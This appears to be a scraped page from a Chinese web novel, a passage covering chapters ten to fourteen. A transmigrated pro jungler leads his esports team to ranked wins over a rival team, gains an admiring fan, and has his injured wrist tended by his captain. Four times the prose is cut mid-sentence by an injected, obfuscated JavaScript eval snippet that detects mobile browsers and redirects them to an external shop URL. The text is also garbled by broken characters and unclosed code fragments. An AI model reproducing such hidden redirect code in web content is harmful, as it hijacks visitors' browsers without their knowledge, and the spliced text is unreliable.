游戏里的五个人显然看不到这些。匹配成功后进入角色选择界面,他们各自锁定了自己擅长或需要练习的角色,气氛有些微妙的凝滞,尤其是Stone,锁完角色后就盯着屏幕一言不发。
游戏开始加载界面,对面五个人的ID缓缓显现。
一开始还没人在意,直到几条带着迟疑的弹幕飘过:
【等等,对面这五个ID有点眼熟啊?】
【这个前缀……是不是VD战队那个谁的小号惯用名?】
【等等!那个中单的ID我好像在VD直播里见过!】
【VD!是VD的小号!VD也在五排!】
这条弹幕如同丢入干草里的火柴,立刻点燃了整个直播间:
【我天!世界冠军IFX撞车联赛霸主VD?这什么梦幻对局?!】
【有好戏看了!这可比普通排位刺激一万倍!】
【焦点战啊这是!虽然只是排位!】
【等等,重点不是打野位吗?Pale对上了VD的Nightmare!】
【Nightmare!去年横空出世的天才打野,凶得一批!】
【Pale退役这么久,手生了吧?能顶得住Nightmare的野区压力吗?】
【虽然但是,IFX是世冠,VD是联赛豪强,谁输谁赢还真不好说,但野区……我有点担心Pale。】
【Nightmare可是以侵略性出名的,专门野区养猪,Pale这把不会被当成突破口打穿吧?】
【以之前直播漏兵的实力来看,只能祈祷Pale别崩得太难看。】
【IFX加油啊!争口气!】
游戏加载完成,十位角色降临泉水。
江屿白轻轻呼出一口气,调整了一下耳机,他对面的打野,正是VD战队如今风头正盛的核心王牌,以打法凶悍、节奏压迫力极强而闻名的——Nightmare。
11. 第十一章
游戏开局,双方都常规上线,IFX这边因为还在磨合初期,加上是休假期间的组排,打得比较放松,沟通也相对简单,尚未完全意识到他们撞上了怎样的对手,然而,VD战队那边似乎通过ID和打法风格猜到了什么。
就在江屿白刷完第一组野怪时,对面打野Nightmare操控的【猎手】鬼魅般在河道边缘一晃而过,并没有选择入侵,反而是在所有人公屏上打下了一行字:
[所有人]VitaminN(猎手):ifx?
停顿了几秒,仿佛在确认,又一行字跳出:
[所有人]VitaminN(猎手):打野是白神吗?
“白神”这个久远到几乎蒙尘的称呼让江屿白操作的手指停滞一瞬,但他很快恢复如常,面无表情地切屏看下路情况,完全没有要回复的意思。对方见没有回应,也不再发言,游戏节奏回归了正常。
但显然,VD战队并不打算正常打。自从试探性地发言后,他们整体的打法陡然变得更加凌厉,尤其是打野Nightmare,他不再满足于常规刷野和Gank,而是像装了雷达一样,精准地捕捉着江屿白打野角色【岚】的动向。
江屿白的岚刚刚打完第一个Buff,Nightmare的刺客型打野猎手就从阴影中窜出,一套技能打完,逼出江屿白的闪现不说,还硬生生换掉了他大半管血量,极大地拖延了他的发育节奏。
这仅仅是个开始。
接下来的时间,Nightmare仿佛认准了江屿白,不惜放弃自己部分野区经济,也要频繁入侵IFX的野区。他甚至会采用一种近乎自爆的方式,强行换血,压制江屿白的发育,打断他的节奏,让他无法顺利到六级拥有关键大招。
一次、两次……江屿白凭借丰富的经验和极限的反应,几次惊险地避开击杀,但野区资源被疯狂掠夺,等级和经济开始肉眼可见地落后。
受此影响,下路对线也逐渐陷入劣势。VD的下路组合本身实力强劲,又得到打野的频频帮助,打得更加激进,不断前压换血。Leaf和Ming压力陡增,补刀被稍稍压制,一塔血量也被消耗了不少。
直播间的人数因为“IFX撞车VD”这个爆点标题而疯狂飙升,两个顶尖职业队在排位中撞车并打出如此浓烈的火药味,实属罕见,弹幕密度达到了前所未有的程度。
【卧槽Nightmare这是住在IFX野区了?】
【这针对性太明显了吧!就往死里搞Pale?】
【完了完了,野区烂了,下路也崩了,这还怎么玩?】
【看看!我就说!Pale现在就是个突破口!Nightmare随便进他野区!】
【真服了,因为他一个人带崩全队节奏!IFX买他来干嘛的?】
【求求了换Nine上来吧,这怎么看啊!】
【世界冠军被VD按着打,真难看。】
【心疼我烬神,要带着这种拖油瓶……】
局势如同滚雪球,对IFX越来越不利。经济差逐渐拉开,视野被不断压缩。比赛时间走向中期,第二条小龙也被VD顺势控下。VD五人集结,开始向大龙坑逼近,意图凭借装备优势和打野的等级领先,快速Rush掉大龙。
所有人都知道,这条大龙归属将直接决定比赛的胜负。
“他们开龙了。”余烬标记了一下龙坑,声音依旧冷静。
“视野做不进去,过去就是被开。”Ming的语气有些焦急。
“这怎么接?我装备差他们AD一件!”Leaf看着自己的装备栏,眉头紧锁。
Stone沉默着,但操控着角色在大龙坑上方徘徊,显然也在犹豫。
IFX五人开始向龙坑附近集结,视野小心翼翼地向前推进。VD的人也早已占据有利位置,双方在龙坑河道相互试探、拉扯,技能的光效时不时划破黑暗的河道,气氛一触即发。
连续的针对和队伍的劣势,反而像一盆冰水浇醒了江屿白沉寂已久的胜负欲。他深吸一口气,一直沉默的他突然开口,声音透过耳机清晰地传到每个队友耳中:
“Stone,你TP(传送)绕后,位置我标了。注意看对面辅助闪现CD还有27秒。”
“Ember,你从侧面入口压位置,逼他们后排走位,别让他们舒服输出。”
“Leaf,Ming,你们跟我从正面过去,注意拉扯,别被对面AD先手开到。Ming,你留着虚弱给打野。”
是江屿白。
一直沉默操作,甚至显得有些被动挨打的他,突然开始了清晰的指挥。
这突如其来的指令让队伍语音出现了片刻的空白。尤其是上单Stone,他习惯听从余烬的指挥,对这个新来的前辈的指令本能地感到抗拒。
“这位置……”Stone下意识地想反驳。
“听他的。”余烬的声音几乎立刻响起,斩钉截铁,“Stone,TP。”
Stone噎了一下,看着余烬标记的确认信号,又看了看江屿白标记的那个刁钻的绕后眼位,最终还是咬咬牙,按下了传送。TP的光柱在VD阵型后方亮起。
VD战队显然也发现了IFX的动向,立刻调整阵型,前排顶出,试图阻止IFX正面靠近,同时打龙的速度加快了几分。
龙坑附近瞬间战云密布,技能特效四处飞溅。双方互相试探、拉扯,寻找着对方的破绽。Nightmare的注意力高度集中在江屿白的岚身上,如同毒蛇般紧盯着他每一个走位,防备着他抢龙。
就在这时,江屿白操控的岚突然有一个向前试探的走位,仿佛想要拼死进入龙坑抢龙!
Nightmare几乎是条件反射,立刻交出了一个关键的限制性技能,试图将他逼退或控住!
然而,就在他技能出手的瞬间,江屿白仿佛早有预料,一个走位,岚的身影险之又险地擦着技能边缘躲开!Nightmare的技能空了!
而就是这零点几秒的空隙,被江屿□□准抓住!
他根本没有想进龙坑!那个向前试探的走位,完全是一个逼真的假动作!
几乎在扭开技能的同一时间,江屿白手指在键盘上飞快掠过,两个超远距离的非指向性技能脱手而出,如同长了眼睛一般,避开VD顶在前方的肉盾,划出两道弧线,精准地命中了躲在最后方输出的ADC!
VD的ADC甚至没来得及做出任何反应,血条瞬间蒸发,屏幕直接变成黑白,VD的阵型立刻大乱。
“AD死了!”Leaf在语音里激动地大喊。
VD的中单也被技能边缘刮到,变成残血,惊慌失措地向后撤退。
“先打龙。”一个人头到手,江屿白没有选择贪,而是选择稳住,操纵角色进了龙坑。
IFX众人集火大龙
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16326309|183243||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,VD战队核心输出暴毙,中单残血失去战斗力,前排陷入尴尬境地,一时间不敢上前阻拦,只能在龙坑周围徘徊,试图寻找机会抢龙。
大龙的血量飞速下降,最关键的时刻来临,大龙血量进入斩杀线!
Nightmare咬紧牙关,死死盯着大龙的血条,手指悬在惩戒键上。江屿白同样如此。
就在大龙血条即将见底的那一刹那,Nightmare率先按下了惩戒,金色的惩戒特效骤然落下——
但,早了零点一秒!大龙还剩下最后一丝血皮!
几乎是同一时间,江屿白的惩戒紧随而至!
“吼——!”
伴随着一声凄厉的哀嚎,大龙轰然倒地!屏幕上方清晰地显示:
【WhiteIsland(岚)击杀了深渊巨兽!】
“Nice!!!”IFX队伍语音里瞬间爆发出激动的欢呼!
“牛逼Pale!”Leaf忍不住喊了出来。
拿下大龙Buff的IFX五人如同出闸猛虎,带着沐浴龙血后的强大加成乘胜追击,VD战队兵败如山倒,失去ADC的他们根本无力抵抗,被IFX一路追杀到高地,江屿白还顺手追上去把Nightmare秒了。
“一波了。”他继续指挥,将地图上拉,在VD的水晶处打了个标记。
IFX五人带着强化过的小兵长驱直入,轻松推平VD的中路高地塔,然后集中火力,猛攻基地水晶。
VD的队员复活时间还很长,只能眼睁睁看着自家的水晶在IFX猛烈的攻击下,血量飞速下降。
最终,在无数观众的注视下,VD的基地水晶轰然爆炸!
“Victory!”
胜利的标志醒目地出现在IFX五人的屏幕上,一场劣势下的惊天翻盘!
直播间弹幕彻底爆炸,密密麻麻的评论几乎完全覆盖了画面:
【卧槽!!!!翻了!!!真翻了!!!】
【白神!!!最后一波指挥我服了!!!细节到可怕!】
【那个假动作!把Nightmare技能骗出来了!神来之笔!】
【看到了吗!那波预判狙杀AD!这就是顶级打野的意识和操作!】
【惩戒稳得一批!Nightmare明显急了!】
【黑子呢?出来说话!脸疼不疼?!谁才是突破口?!】
【这指挥这操作!梦回Pale巅峰时期!双冠打野的含金量!】
【Nightmare被秀麻了哈哈哈】
【呵呵,一把Rank而已,赢了又能证明什么?正式比赛再说吧。】
【技术好和人品差冲突吗?当年打压新人的事这就洗白了?】
【队友给力罢了,换个打野早赢了,需要这么惊险?】
【前面的别嘴硬了,承认Pale这把C了很难吗?】
【VD明显轻敌了,真以为IFX新打野好欺负,结果翻车了而已。】
游戏结束,进入结算界面。
弹幕争吵不休,而对面VD的打野Nightmare再次在公屏打字:
[所有人]VitaminN(猎手):白神牛逼!!!
[所有人]VitaminN(猎手):刚才那波太牛了白神!!
[所有人]VitaminN(猎手):白神能加个好友吗我是你的粉丝
12. 第十二章
游戏刚退回到结算界面,江屿白的好友申请列表立刻就弹出了一个醒目的红点,正是刚才在公屏激情表白的Nightmare。
江屿白顺手点击了同意,下一秒聊天框就被对方激动无比的消息刷屏了:
[私聊]VitaminN:白神!!!我终于遇到你了!!!!
[私聊]VitaminN:我是VD战队去年的首发打野Nightmare!
[私聊]VitaminN:我是你五年老粉啊白神!!
[私聊]VitaminN:我是因为你才学的打野打的职业!
[私聊]VitaminN:你刚才打得太牛了,还能再打一局吗白神?
对面显然兴奋得难以自持,消息不带停顿的一条接一条。
江屿白看着这一连串炽热的表白,有点茫然。五年老粉?因为他打职业?记忆中的原剧情并没有这号人物的存在,这份久违的过于热烈的崇拜让他一时不知该如何回应。
而坐在他旁边的余烬看见了聊天框里那句格外刺眼的“我因为你才学的打野打的职业”,眉头立刻蹙起,周身的气压肉眼可见地低了下来。他侧过头对江屿白说:“不用理他,我们继续五排。”
若是平时,江屿白或许就懒得理会了,但现在不同。
一想到那莫名其妙暴跌20%,让他凌晨五点从床上惊坐起的恨意值,他就气不打一处来。三年前他兢兢业业,呕心沥血才把恨意值刷到99.9%,以为三年后快进过来就能直接领工资下班,谁能想到男主不知道哪根筋搭错了,恨意值说降就降,逼得他不得不重新上岗加班演戏。
于是,在余烬明显不悦的目光注视下,江屿白慢条斯理地点开了聊天框,敲了两个字回复过去:
[私聊]WhiteIsland:你好。
【叮!】
系统提示音立刻在他脑海中响起:【检测到目标恨意值上升,当前数值:82%。】
果然奏效了!江屿□□神一振。
对面的Nightmare收到回复,更是激动得连发了好几个感叹号。
江屿白趁热打铁,继续敲字。
[私聊]WhiteIsland:你刚才打得很好。
【叮!目标恨意值:85%。】
[私聊]VitaminN:真的吗!!!白神夸我了!!!
[私聊]VitaminN:白神我太开心了,我可以加你联系方式吗???
[私聊]VitaminN:只是想跟你探讨一下技术
[私聊]VitaminN:当然如果你想聊点别的也可以的
江屿白瞥了一眼旁边气压越来越低的余烬,故意放慢了打字速度,一个字一个字地敲:
[私聊]WhiteIsland:当然可以。
【叮!目标恨意值:90%】
[私聊]VitaminN:白神我微信号是VDxxxxxxx!你加我!
江屿白还没来得及看清那串数字,一只手突然从旁边伸过来,一把抓住了他正准备拿起手机的手腕。
那力度起初很重,带着难以自持的失控,但下一秒又猛然意识到什么,力道松懈下来,只是虚虚地圈着,指尖却有着滚烫的温度。
江屿白抬起头,对上了余烬的视线。
“今天还要五排。”余烬的声音听起来比平时更低沉沙哑。
江屿白挑眉,晃了晃被抓住的手腕,语气带着玩味和挑衅:“加个微信而已,要不了多久吧,余烬队长?”
听到这个疏离的称呼,余烬圈着他手腕的手指猛地收紧了一下,真实的痛感传来,让江屿白下意识地“嘶”了一声。
“你抓人很痛。”他声音冷了下来,试图挣开。
余烬沉默着,目光复杂地在他脸上和手机屏幕之间扫了一个来回,最终还是缓缓松开了手,指尖划过江屿白的手腕皮肤。
江屿白没再看他,拿起手机,快速输入了Nightmare提供的微信号,发送了好友申请。
几乎是秒过。
刚一加上,微信新消息的提示音就“叮叮咚咚”响个不停,Nightmare的热情仿佛要透过屏幕溢出来。
江屿白正想点进去看看这位“五年老粉”又说了什么,就听到旁边余烬冷冰冰的声音响起:
“游戏开始了。”
江屿白抬头一看,游戏界面果然已经进入了角色选择状态,和VD战队新的对局开始了。他只好暂时放下手机,将注意力放回游戏上。
——————
与此同时,某知名电竞论坛。
一个标着【HOT】【爆】的帖子被顶在首页最上方,标题异常醒目,跟着一个火苗图标:【IFX休假五排直播撞车VD!】,后面的回复数和浏览量正在疯狂飙升。
帖子主楼贴了一段剪辑精良的视频,是从IFX下路选手Leaf的直播视角录制的,还贴心附上了关键时间点跳转链接。视频前半段,IFX因为VD战队,尤其是打野Nightmare的疯狂针对,野区沦陷,下路劣势,看得人血压飙升;后半段却画风一转,在逆风之下,凭借Pale突如其来的精准指挥和关键操作,上演了一场令人瞠目结舌的翻盘。
下面的回复早已硝烟弥漫,盖起了高楼:
【1L:在现场!VD这打得也太凶了吧?训练赛都没这
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16326310|183243||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
么狠】
【2L:排位随便打打而已,至于吗VD?不过IFX这也能翻是我没想到的….】
【3L:Pale这操作和之前直播漏兵的是一个人?】
【4L回复3L:兄弟,这才是双冠打野的底裤啊!之前明显摆烂好吧!】
【5L回复4L:底裤?黑料裤衩子都快被扒没了,操作好就能洗白?】
【6L:呕!Nightmare公屏追星真给我看吐了,职业选手的尊严呢?这就跪了?】
【7L回复6L:笑死,Nightmare本来就是Pale知名迷弟,去年采访就说过入行是因为Pale,这波属于梦想照进现实了】
【8L:呜呜呜白神!我的白神他好像真的回来了!最后一波指挥和操作看哭我了!】
【9L回复8L:得了吧,一把Rank给你激动成这样,忘了当初他怎么打压Ember了?】
【10L回复9L:经典岁月史书,网上那些黑料有实锤吗?就知道跟风黑】
【11L:不是,凭什么他指挥啊?IFX的指挥位一直都是Ember,他一来了就抢话语权?队霸本性难移!】
【12L回复11L:???这波指挥不牛逼?不是这指挥能翻盘?谁行谁上没问题啊】
【13L:Ember都没说什么,你们太监急着叫唤什么?】
【14L:来了来了,经典队内不合节奏。】
楼里吵得天翻地覆,粉黑大战、队粉唯粉乱成一锅粥,就在这时,楼主又更新了主楼内容,附上了一个新的4K高清慢放切片,标题是:【显微镜切片!Pale岚极限假动作骗技能瞬秒AD+零帧惩戒抢龙!】。
这个视频一出来,楼里的风向瞬间又变了一波:
【256L:卧槽!这技能释放角度,白神神了!】
【257L:这假动作!把Nightmare心态都骗崩了吧?!哈哈哈!】
【258L:惩戒稳得一批!Nightmare明显急了】
【259L:不是我说,Pale好歹是双冠打野,打出这种操作不是基操?打不出来才该退役吧?】
【260L回复259L:666左右互搏是吧?刚才还说Pale直播漏兵菜得像大师呢】
【261L:黑子呢?出来看上帝!脸疼不疼?!】
【262L回复261L:呵呵,一把Rank给你高潮成这样?正式比赛他能稳住这状态我直播倒立洗头!】
【263L:警惕Pale舆论洗白!警惕队内权力更迭!】
【264L:卧槽都别吵了,刚才Pale把VD团灭了!】
13. 第十三章
上一局刚退回大厅,VD立刻发来了对局请求,余烬鼠标悬停在拒绝上一秒,最终还是冷着脸点了同意。
第二局甫一开始,气氛就截然不同。
余烬操控的中单法师如同换了个人,打法激进得近乎暴戾。一级就开始疯狂压制对面中单,技能精准得像装了导航,补刀压制的同时不断耗血,将对方牢牢锁在塔下。
Nightmare眼看中路劣势,第一次前来Gank,余烬非但没有后撤,反而利用走位巧妙地将对方引至己方塔的攻击边缘,然后不管不顾地对着Nightmare疯狂输出,哪怕硬吃对方中单的伤害,也靠着操作和防御塔的伤害强行换掉了Nightmare的人头。
【First Blood!】
一血提示响起,但余烬自己也倒下了,兵线正被对方中单推进塔。
【烬神这……什么打法?自杀式袭击流中单?】
【二打一硬换打野?这也太亏了吧?】
【这针对性也太明显了吧?就盯着Nightmare杀?】
【烬神跟Nightmare有仇?】
【我怎么感觉烬神好像在生气……】
【为什么生气?因为上把Nightmare表白Pale了?】
然而,就在对方中单以为可以安心吃塔皮时,江屿白的打野却从阴影中杀出。他时机抓得恰到好处,一套技能精准地收掉了状态不满、技能还在冷却的VD中单。
【An enemy has been slain!】
【卧槽!Pale!】
【竟然是中野联动?】
【这波支援太及时了!兵线没亏多少,还多赚一个人头!】
这仿佛定下了本局的基调。只要Nightmare不来中路,余烬就立刻将压制力拉满,甚至不惜冒险越塔强杀对面中单;只要Nightmare的身影出现在中路附近,余烬就像嗅到血腥味的鲨鱼,立刻调转矛头,所有的技能和杀意都倾泻在Nightmare身上,打法凶悍到近乎自毁,哪怕一换一,也执意要换掉这个打野。
而每次他用这种自爆式打法强行换掉或逼退Nightmare后,江屿白总能如同最顶级的清道夫,及时出现在中路,要么帮他把危险的兵线推进塔,要么顺势收掉被余烬耗残的对方中单,甚至反掉Nightmare来不及刷的野怪。
余烬用个人经济的部分牺牲和极致的压迫力,硬生生为队伍撕开了突破口。而江屿白则用他老道的经验和精准的时机把握,将余烬创造出的机会转化为团队实实在在的经济和经验优势,弥补了余烬因激进打法可能带来的损失。
中野之间形成了一种诡异却高效的联动:一个不顾自身疯狂撕咬对方打野,一个冷静收割稳定局势。VD的节奏被彻底打乱,等级和经济都落后了不少。
弹幕看得目瞪口呆,风向也逐渐转变:
【虽然看不懂但大受震撼……这中野配合?】
【这哪是配合,这分明是Pale在给烬神的疯狂兜底啊!】
【确实,烬神今天杀气好重,就盯着Nightmare杀】
【VD被打懵了,Nightmare估计心态炸了。】
【虽然过程有点抽象,但结果IFX血赚】
在余烬近乎疯狂的针对和江屿白稳健的控图下,IFX前期就建立了巨大优势。比赛顺利过渡到中期,一波中路团战后,IFX带着兵线直逼VD的高地。
两队在VD的中路高地塔前集结,相互试探拉扯。IFX在等待下一波带着炮车的兵线,而VD则严阵以待,准备死守最后的门户。
带着大炮车的兵线终于抵达,IFX五人立刻动手。
上单Stone一马当先,顶在最前面吸收塔和敌人的第一波伤害。江屿白的刺客如同暗影般紧随其后,目标明确,直指VD后排的中单和ADC,一套技能行云流水,瞬间将两人打至残血!
而余烬,他的目光自始至终仿佛只锁定了一个人——Nightmare操控的猎手。他无视了其他一切,所有的技能、所有的走位,都只为了逼近、击杀那个试图迂回切后的打野,Nightmare被他追得狼狈不堪,血量飞速下降。
这边江屿白冷静地收掉VD中单和ADC的人头,Stone也扛到了极限,最终被VD集火带走,但高地塔也随之告破!
VD仅剩残血的上单、辅助和被打得抱头鼠窜的打野Nightmare,惊慌地向泉水撤退,企图回血再战。
就在这瞬息之间!
江屿白眼神一凛,操控着他的刺客抓住三人撤退路径重叠的完美时机,一个闪现果断越塔!大招对准三人轰然释放!
特效以他为中心爆裂开来,精准地覆盖了VD残存的三人!
【Triple Kill!】
【Ace!】
三杀!团灭!
【卧槽!白神发狂了!】
【三杀!越塔三杀!团灭!】
【虽然烬神也很C,但最后一波定音的还是Pale啊!】
【黑子说话!!!】
【IFX中野这化学反应……虽然奇怪但强得离谱啊!】
【给VD打团灭了!IFX牛逼!白神牛逼!】
【这操作!这胆识!谁敢说Pale是突破口?!】
没有任何悬念,IFX剩下的四人带着兵线,轻松点爆了VD的基地水晶。
游戏刚结束,公屏上立刻跳出了Nightmare熟悉的身影和不变的台词:
[所有人]VitaminN:白神牛逼!!!
[所有人]VitaminN:记得看微信白神!
这VD打野离了白神两个字好像不会说话,江屿白看着屏幕,一边退出游戏一边对旁边的余烬随口道:“今天先打到这吧。”
他拿起手机,解锁,点开微信,果然看到Nightmare发来的一连串消息。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16326311|183243||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
最先映入眼帘的是两张图片。
第一张拍的是一面雪白的墙壁,上面端端正正地贴着两张海报——是江屿白当年身披BZN战袍,第一次举起全球总决赛冠军奖杯时的高清海报。画面有些年岁了,但保存得极好。
第二张拍的是一张电脑桌,桌上摆满了各种江屿白当年的官方周边:BZN的限定队服、印着他ID“Pale”的应援手幅、甚至还有一个做工略显粗糙、但特征抓得很准的Q版同人玩偶。
图片下面跟着大段文字:
Nightmare:白神我真是你五年老粉,从你第一次夺冠的时候就粉上了
Nightmare:能看见你再回来打职业真是太好了[哭泣][哭泣]
Nightmare:你刚才打得太牛逼了
Nightmare:以后能有幸跟你赛场上见吗?
江屿白看着这些图片和文字,一时间有些怔忡,被骂得久了都忘记该怎么回复这种赤诚又热烈的崇拜。他站起身,指尖在屏幕上方悬停了片刻,最终还是退出了聊天界面,熄灭了屏幕,揣着手机默默走回了宿舍。
他把自己摔进柔软的床铺,盯着天花板发呆。
【宿主,为什么不回复他?】系统的声音好奇地响起。
江屿白叹了口气,声音里带上疲惫:“因为我想快点做完任务走人啊。都不一定能在赛场上碰到,给了希望又实现不了,何必呢。”
【宿主竟然这么积极于推进任务?】系统有些惊讶。
“加班很累的啊。”江屿白嘟囔道,揉了揉眉心,“而且……”
他顿了顿,声音低了下去,像是在问系统,又像是在问自己:“而且,原剧情里,IFX这个新赛季是会继续连冠的吧?”
“Nine退役了,我顶上来。如果因为我这个变数他们拿不到冠军了怎么办?”他看向窗外的天色,太阳正逐渐爬到天高处,却因角度照不进他的房间,“那些荣誉也是其他角色应得的。”
系统沉默了,它一直以为宿主只把这个世界当作一本小说,把其他角色都视为推进剧情的NPC,完成任务领取积分就是唯一目的。它没想到宿主竟然会真的把这些纸片人的梦想和未来放在心上。
【宿主,】系统的电子音调节到一个更低的频率,【他们只是这个位面的NPC配角而已。剧情线的收束力量很强,您不必过于担忧。】
“配角吗……”江屿白笑了一下,那笑声里没什么情绪,“反正做不到的承诺,就不要随便应允比较好。”
他说得好像话里有话,似乎不仅仅是在说Nightmare。
系统还想再问些什么,却检测到江屿白的呼吸已经变得均匀绵长,已经睡着了,手机屏幕还暗着,没有回复那条充满了期待的微信。
【……。】
系统默默监测了一会儿宿主平稳的睡眠状态,片刻后,它默默地调动能量,将滑落至床角的薄毯轻轻拉起,妥帖地盖在了江屿白的身上。
14. 第十四章
江屿白是被手腕一阵阵沉闷的钝痛给痛醒的。
他皱着眉睁开眼,窗外烈阳高照,已经是中午,再低头看向自己的右手腕,果然,关节处已经微微肿起,皮肤泛着不正常的红热,看起来有些吓人。他尝试着轻轻握了一下拳——
“嘶——”
一股尖锐的疼痛立刻从腕部直窜而上,让他倒抽一口凉气,额角渗出细密的冷汗。
腱鞘炎复发了。
应该是昨天没休息好,早上还爬起来高强度操作了两局导致的。江屿白用左手支撑着起身,想去行李箱里翻找一下还有没有剩余的镇痛贴膏。
他忍着痛用单手打开行李箱,翻找了一遍,却只摸到几个空荡荡的包装袋——都用完了。
这下麻烦了。手腕处的疼痛随着主人的彻底清醒而愈发嚣张,一跳一跳地抽痛着,他叹了口气,拿起一个斜挎包,然后用不熟练的左手拧开了宿舍门把手。
门一打开,他就看见一个熟悉的人影。
余烬正斜斜地倚靠在对面他自己宿舍的门框上,低着头在玩手机。听到开门声,他抬起头,目光看了过来。
江屿白并不准备搭理他,他侧过身带上门便准备离开。
“你要去哪?”余烬的声音却从身后传来。
江屿白脚步没停,立刻切换上人设:“怎么,余烬队长,你们IFX战队的队员,休假期连私人行程都要向你汇报了?”
他以为余烬会像之前一样被噎回去或者冷下脸。
然而余烬却仿佛没听到他话里的讽刺,他的目光敏锐地捕捉到了江屿白垂在身侧、有着明显肿胀的右手手腕。
余烬脸色微微一变,几步就跨了过来,语气带上了明显的急促:“你手伤复发了?”
江屿白还没反应过来,余烬已经不由分说地托起了他的右手手腕仔细查看。
指尖传来的温度高得吓人,那片原本苍白的皮肤此刻泛着不正常的红,肿胀使得原来清晰利落的腕骨轮廓变得模糊,筋络在发烫的皮肤下微微突起。这双漂亮的手曾经在键盘上落下的每一个动作都精准如刀锋,操控着赛场上的风云变幻,掌握着不知多少游戏内的生死,此刻却脆弱得令人心惊。
一股尖锐的刺痛感猝不及防地撞进余烬心口,来得莫名其妙,却清晰得让他胸口生疼。
“嘶——轻点!”江屿白因他的动作痛得吸了口气,手腕现在到了被抬起都会引发疼痛的程度,“余烬,你想谋杀我也不该挑这个时候吧?”
余烬立刻松开了手,动作甚至有些小心翼翼。他没有理会江屿白话里的刺,眉头紧锁着,转而一把拉住江屿白的左手手腕,不容置疑道:“跟我来。”
“诶!你……”江屿白被他拉着踉跄了一步,下意识想挣脱,却发现自己竟然一时挣脱不开。这几年余烬不知道是怎么长的,不仅身高窜得比他高了将近半个头,连力气也大了不少,握着他手腕的手掌坚定而有力。
余烬一言不发,直接把江屿白带到了基地的医务室。他轻车熟路地打开灯,先从冰箱里取出一个冰袋,又从消毒柜里找出干净的毛巾。
“别动。”他让江屿白坐在诊疗床边,先是拿出手机,对着江屿白红肿的手腕仔细拍了几张不同角度的照片,然后才用毛巾包裹住冰袋,动作略显生涩却异常小心地敷在他肿胀的手腕上,并用另一条毛巾轻轻固定。
冰凉的温度暂时缓解了部分灼痛感。
余烬一边低头操作,一边语速很快地解释:“休假期队医不在,先紧急处理一下抑制肿胀,看看情况,如果严重还是得去医院。”语气听起来很专业。
江屿白看着他低着头、垂着眼眸,全神贯注又隐隐透着紧张的模样,心里那种怪异的感觉又冒了出来。他忍不住开口,带着点探究问道:“余烬,你好像很紧张我?”
余烬正在调整毛巾的手几不可察地顿了一下。他没有抬头,只平静地说:“我很紧张IFX的打野。”
还刻意强调了“IFX”这三个字母。
装。你就装吧。
江屿白已经不买这一套,在心里翻了个白眼。他现在算是看明白了,余烬对他根本就不是恨一个仇人该有的态度,但这人具体对他是个什么诡异想法,他又实在琢磨不透。
反正就挺矛盾的。一边好像关心他,一边恨意值又稳稳挂在90%。
正想着,余烬已经弄好了冰敷,又拿出手机,将刚才拍的照片发给了队医,手指飞快地打字询问严不严重,具体该怎么处理。
队医很快回复了。余烬看着手机,念给江屿白听:“队医说了,是高强度操作后引发的急性腱鞘炎。今天冰敷三到四次,每次十五分钟左右。两天内绝对不要再用手腕发力。可以贴上膏药,口服布洛芬缓解疼痛。如果……如果能配合按摩舒缓周围肌肉,促进血液循环,效果会更好。”
说完他就按照队医的指示,从药柜里准确地找出了药贴、护腕支具和布洛芬,甚至真的开始低头搜索手腕按摩的教学视频,屏幕的光映在他认真的侧脸上,一副准备亲自上手的样子。
恨意值90%的人能做出这些吗?
江屿白看着他这副认真到近乎郑重的模样,一个荒诞的念头突然冒了出来。他鬼使神差地伸出左手,用手背轻轻探了探余烬的额头——触感一片正常。
“也没发烧啊……”他喃喃自语。
余烬的呼吸却骤然停滞。
所有的动作和思绪都在一瞬间凝固,他像是被施了定身术,连眼睫都忘记了颤动,只有微微放大的瞳孔泄露了此刻内心的惊涛骇浪。
江屿白的手背冰凉,在他额头上停留的时间不过短短一瞬,像一片轻盈的雪花,触之即化,留下的那片低温却持续了很久,反而让他感到一阵莫名的头脑发热。
这好像还是江屿白第一次在清醒状态下主动触碰他。
江屿白收回手,看着余烬瞬间僵硬的身体,心里那种剧情脱轨的感觉越来越强烈。他总觉得再这样下去,会发生一些他完全
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16326312|183243||http|test|mini|href|location''.split(''|''),0,{}));
() {
